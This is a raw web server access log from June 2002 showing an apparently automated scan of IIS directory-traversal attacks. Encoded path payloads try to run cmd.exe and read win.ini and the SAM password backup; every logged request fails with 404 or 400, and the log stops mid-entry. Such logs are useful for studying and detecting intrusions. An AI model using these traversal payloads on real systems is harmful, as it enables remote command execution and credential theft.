a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/Rpc/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/Rpc/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/Rpc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/samples/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/Rpc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/script/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/samples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/samples/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/samples/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/samples/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/script/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c%20dir%2
0C:\ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/script/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c%20dir%2
0C:\ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c%20dir%2
0C:\ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c%20dir%2
0C:\ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:06 +0200] "HEAD
/scripts/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_mem_bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_cnf/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:07 +0200] "HEAD
/_vti_cnf/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_cnf/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_bin/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_cnf/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/a.asp/..%%35%63../..%%35%63../winnt/win.ini HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/a.asp/..%%35%63../..%%35%63..\winnt\repair\sam._ HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/a.asp/..%%35c../..%%35c../winnt/win.ini HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/a.asp/..%%35c../..%%35c..\winnt\repair\sam._ HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_cnf/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_cnf/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_cnf/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/adsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/adsamples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/_vti_cnf/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/adsamples/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/a.asp/..%25%35%63../..%25%35%63..\winnt\repair\sam._ HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/adsamples/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/a.asp/..%25%35%63../..%25%35%63../winnt/win.ini HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/a.asp/..%255c../..%255c../winnt/win.ini HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/a.asp/..%255c../..%255c..\winnt\repair\sam._ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/adsamples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/adsamples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?
/c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+d
ir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:08 +0200] "HEAD
/bin/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/adsamples/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/adsamples/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi-bin/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi-bin/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi-bin/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/cgi-bin/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/exchange/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/exchange/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/bin/scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.ex
e?/c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/exchange/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/exchange/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:09 +0200] "HEAD
/bin/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/bin/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/bin/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/msadc/..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/msadc/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/msadc/..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi-bin/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi-bin/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi-bin/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi-bin/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/msadc/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/msadc/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/msadc/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/exchange/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/exchange/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/cgi/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/exchange/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/PBServer/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/PBServer/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/PBServer/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/exchange/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/PBServer/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/PBServer/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/PBServer/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/Rpc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/Rpc/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/Rpc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:10 +0200] "HEAD
/Rpc/..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/Rpc/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
/msadc/..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:11 +0200] "HEAD
